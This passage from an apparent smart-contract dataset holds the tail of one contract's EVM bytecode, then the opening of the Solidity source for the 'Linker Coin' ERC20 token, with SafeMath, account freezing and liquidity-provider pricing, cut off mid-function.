ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543460405180848152602001838152602001828152602001935050505060405180910390a2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611685573d6000803e3d6000fd5b50505050505050565b601b5481565b60115481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117305780601f1061170557610100808354040283529160200191611730565b820191906000526020600020905b81548152906001019060200180831161171357829003601f168201915b505050505081565b601c5481565b600081601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561178e57600080fd5b6000151561179c338561461a565b15151415156117aa57600080fd5b81601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118fd57600080fd5b600090505b8151811015611a77576001151560206000848481518110151561192157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561198157600080fd5b600060206000848481518110151561199557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a12c929eaa107bb1664c66b18c35d89e280fa3cbbe566786089d0ed9e9d1eae8282815181101515611a1f57fe5b90602001906020020151604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a18080600101915050611902565b5050565b600c5481565b6000600554905090565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aee57600080fd5b670de0b6b3a764000082029050611b1081600a546145c990919063ffffffff16565b670de0b6b3a76400006329b927000210151515611b2c57600080fd5b611b41816005546145c990919063ffffffff16565b600581905550611b5c81600a546145c990919063ffffffff16565b600a81905550611b7781600c546145c990919063ffffffff16565b600c81905550611bde606460148302811515611b8f57fe5b04601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c82606460288302811515611c3357fe5b04602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d26606460288302811515611cd757fe5b04602360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fb2b158ae5c694d74eac973d34a3c217b63c0565cb896f0ac7069420ac22212838382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ede57600080fd5b60011515601a60009054906101000a900460ff161515141515611f0057600080fd5b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fb681601e6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fb02f6d63043695316950ff6cafa7e6eb1cb7ced564a1184968c2d10d496837c48282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600081601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156120da57600080fd5b81601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561216557600080fd5b60001515612173338561461a565b151514151561218157600080fd5b61221082601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e282601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237782601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600e5481565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561249357600080fd5b60195461249e612a50565b1115156124aa57600080fd5b6000600654670de0b6b3a764000063ee6b280002031115156124cb57600080fd5b600654670de0b6b3a764000063ee6b28000203905061251c81601e60008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255e816006546145c990919063ffffffff16565b60068190555061257981600d546145c990919063ffffffff16565b600d819055507fce6e73ac49599640456553e49fe200ac722dd91236fa42809d32fc77bd845280816040518082815260200191505060405180910390a150565b60065481565b60025481565b60195481565b670de0b6b3a7640000639502f9000281565b670de0b6b3a7640000632faf08000281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156126a957600080fd5b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a12c929eaa107bb1664c66b18c35d89e280fa3cbbe566786089d0ed9e9d1eae81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127c257600080fd5b601b546127cd612a50565b1115156127d957600080fd5b60011515602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561283857600080fd5b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fbb58001455d98d0507fed6675ec952bb2f26edca369ed179b6a6e4259f8b5fc581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60185481565b60165481565b600b5481565b601d5481565b60085481565b601a60009054906101000a900460ff1681565b6000612a376129e9602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b9050919050565b670de0b6b3a76400006329b927000281565b600042905090565b670de0b6b3a7640000631dcd65000281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b255780601f10612afa57610100808354040283529160200191612b25565b820191906000526020600020905b815481529060010190602001808311612b0857829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b8857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612bc457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612c2157600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5e854bf999fde7f4dc7e1139995b6318400f5cfccb2c8616f7df90e26263ed0581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d2557600080fd5b60011515601a60009054906101000a900460ff161515141515612d4757600080fd5b612d4f612a50565b9050624f1a008101601c81905550629e34008101601d819055506000601a60006101000a81548160ff0219169083151502179055507fddae364a8357d65e5a022c61e31d9d813f9051ef6a56bdc1d43496f5a41a35bc60405160405180910390a17f491ad0c655b5497481a1c86bc3b16c0057ae6c74e54c3e275daf5f82015df6ab601c54601d54604051808381526020018281526020019250505060405180910390a150565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e5957600080fd5b670de0b6b3a764000082029050612e7b816007546145c990919063ffffffff16565b670de0b6b3a7640000639502f9000210151515612e9757600080fd5b612eac816005546145c990919063ffffffff16565b600581905550612ec7816007546145c990919063ffffffff16565b600781905550612ee281600c546145c990919063ffffffff16565b600c81905550612f3a81601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f0ea2105b11e2bdb1dcee3144aea42f0da38f0733d95417214300d3c630bcfbe68382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130f357600080fd5b8251845114151561310357600080fd5b600090505b83518110156133cf57828181518110151561311f57fe5b90602001906020020151601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561317657600080fd5b6000151561319b33868481518110151561318c57fe5b9060200190602002015161461a565b15151415156131a957600080fd5b61321283828151811015156131ba57fe5b90602001906020020151601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132d5838281518110151561326657fe5b90602001906020020151601e6000878581518110151561328257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e600086848151811015156132e757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561333d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85848151811015156133a357fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050613108565b600191505092915050565b600081601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561342a57600080fd5b60001515613438338561461a565b151514151561344657600080fd5b61349882601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bb90919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d82601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b670de0b6b3a764000063ee6b28000281565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561365457600080fd5b670de0b6b3a764000082029050613676816008546145c990919063ffffffff16565b670de0b6b3a7640000631dcd6500021015151561369257600080fd5b6136a7816005546145c990919063ffffffff16565b6005819055506136c2816008546145c990919063ffffffff16565b6008819055506136dd81600c546145c990919063ffffffff16565b600c8190555061373581601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fcb6f8e60551646b7665f3efb30a162629be0f0ccc55fa8ea95cb340aee845a998382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156138ed57600080fd5b670de0b6b3a76400008202905061390f81600b546145c990919063ffffffff16565b670de0b6b3a7640000632faf0800021015151561392b57600080fd5b613940816005546145c990919063ffffffff16565b60058190555061395b81600b546145c990919063ffffffff16565b600b8190555061397681600c546145c990919063ffffffff16565b600c819055506139ce81601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9ccd64da80c0a8ca180ce9164a0c47eb5fc4ffc297dff0cf0cd0c80c2f9541078382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60135481565b670de0b6b3a76400006402540be4000281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b9f57600080fd5b670de0b6b3a764000082029050613bc1816009546145c990919063ffffffff16565b670de0b6b3a76400006359682f000210151515613bdd57600080fd5b613bf2816005546145c990919063ffffffff16565b600581905550613c0d816009546145c990919063ffffffff16565b600981905550613c2881600c546145c990919063ffffffff16565b600c81905550613c8081601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f7d410e2af71610bf42f7f1a3f842066f047ac95e99a12d707a6fefe97f78dfd78382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b670de0b6b3a76400006359682f000281565b6000601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f2b57600080fd5b601d54613f36612a50565b111515613f4257600080fd5b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515613f9057600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515613fef57600080fd5b614080602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507feef695179f32a259b4e1d43586777c5f2084992250f70c429dd6385cefdeb78381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156141c957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561422557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561426157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2ae143016adc0aa482e6ba5d9a350f3e3122aeb005ca4bf47d1d7b8221bce47260405160405180910390a350565b60105481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561438057600080fd5b601c5461438b612a50565b11151561439757600080fd5b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156143e557600080fd5b60011515602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561444457600080fd5b6144d5602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507feef695179f32a259b4e1d43586777c5f2084992250f70c429dd6385cefdeb78381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60175481565b60008082840190508381101515156145dd57fe5b8091505092915050565b60008082840290506000841480614608575082848281151561460557fe5b04145b151561461057fe5b8091505092915050565b600080905060011515601a60009054906101000a900460ff161515141561464057600190505b60011515602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806146ef575060011515602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156146f957600190505b60011515602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806147a8575060011515602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156147b257600190505b80905092915050565b60008282111515156147c957fe5b8183039050929150505600a165627a7a723058208eaed8c50b378a0d5cce8478fd6c5b98c1cb9fbcaaf7e88cd9487283b2bbdc570029 | {"success": true, "error": null, "results": {}} | 10,687 |
0x76f89506310fc271cbfacf923975a36a3b9f9300 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
// Get the total token supply
function totalSupply() public constant returns (uint256 supply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Token is ERC20Interface {
using SafeMath for uint;
string public constant symbol = "LNC";
string public constant name = "Linker Coin";
uint8 public constant decimals = 18;
uint256 _totalSupply = 500000000000000000000000000;
//AML & KYC
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
// Linker coin has 5*10^25 units, each unit has 10^18 minimum fractions which are called
// Owner of this contract
address public owner;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function IsFreezedAccount(address _addr) public constant returns (bool) {
return frozenAccount[_addr];
}
// Constructor
function Token() public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() public constant returns (uint256 supply) {
supply = _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _value) public returns (bool success)
{
if (_to != 0x0 // Prevent transfer to 0x0 address.
&& IsFreezedAccount(msg.sender) == false
&& balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from,address _to, uint256 _value) public returns (bool success) {
if (_to != 0x0 // Prevent transfer to 0x0 address.
&& IsFreezedAccount(_from) == false
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function FreezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
}
contract MyToken is Token {
//LP Setup lp:liquidity provider
uint8 public constant decimalOfPrice = 10; // LNC/ETH
uint256 public constant multiplierOfPrice = 10000000000;
uint256 public constant multiplier = 1000000000000000000;
uint256 public lpAskPrice = 100000000000; //LP sell price
uint256 public lpBidPrice = 1; //LP buy price
uint256 public lpAskVolume = 0; //LP sell volume
uint256 public lpBidVolume = 0; //LP buy volume
uint256 public lpMaxVolume = 1000000000000000000000000; //the deafult maximum volume of the liquididty provider is 10000 LNC
//LP Para
uint256 public edgePerPosition = 1; // (lpTargetPosition - lpPosition) / edgePerPosition = the penalty of missmatched position
uint256 public lpTargetPosition;
uint256 public lpFeeBp = 10; // lpFeeBp is basis point of fee collected by LP
bool public isLpStart = false;
bool public isBurn = false;
function MyToken() public {
balances[msg.sender] = _totalSupply;
lpTargetPosition = 200000000000000000000000000;
}
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) onlyOwner public returns (bool success) {
if (isBurn == true)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
else{
return false;
}
}
event SetBurnStart(bool _isBurnStart);
function setBurnStart(bool _isBurnStart) onlyOwner public {
isBurn = _isBurnStart;
}
//Owner will be Lp
event SetPrices(uint256 _lpBidPrice, uint256 _lpAskPrice, uint256 _lpBidVolume, uint256 _lpAskVolume);
function setPrices(uint256 _lpBidPrice, uint256 _lpAskPrice, uint256 _lpBidVolume, uint256 _lpAskVolume) onlyOwner public{
